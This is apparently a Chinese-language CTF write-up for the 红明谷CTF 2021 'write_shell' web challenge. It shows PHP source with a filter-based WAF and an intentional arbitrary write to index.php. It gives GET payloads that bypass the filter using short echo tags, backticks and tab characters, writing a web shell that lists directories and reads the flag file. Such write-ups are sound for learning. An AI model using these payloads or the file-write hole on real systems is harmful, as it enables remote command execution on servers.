Title

[红明谷CTF 2021]write_shell-1

1、打开之后直接就是源代码审计,源代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

2、对代码进行分析:

$_SERVER['REMOTE_ADDR']:指的是正在浏览当前页面用户的 IP 地址。

if(!file_exists($dir)){
    mkdir($dir);//创建dir目录
}

参数action接收之后根据参数的不同执行不同的代码,当输入pwd时会返回创建的dir目录,payload:?action=pwd,如下:

file_put_contents()函数会把data数据写入到index.php文件中。

再看preg_match过滤的内容,包含:'_php~^eval等内容,但是没有过滤`,因此这里需要通过php短标签来绕过对php的检查,使用\t来绕过空格的检查,因此可以构造payload:?action=upload&data=<?=`ls\t/*`?>获取目下的信息,结果如下:

3、获得文件名称之后直接读取问价内容,payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>,执行完成之后请求我们获得的路径下的index.php文件即可获得flag,结果如下:

posted @ 2022-08-09 18:45  upfine  阅读(318)  评论(0编辑  收藏  举报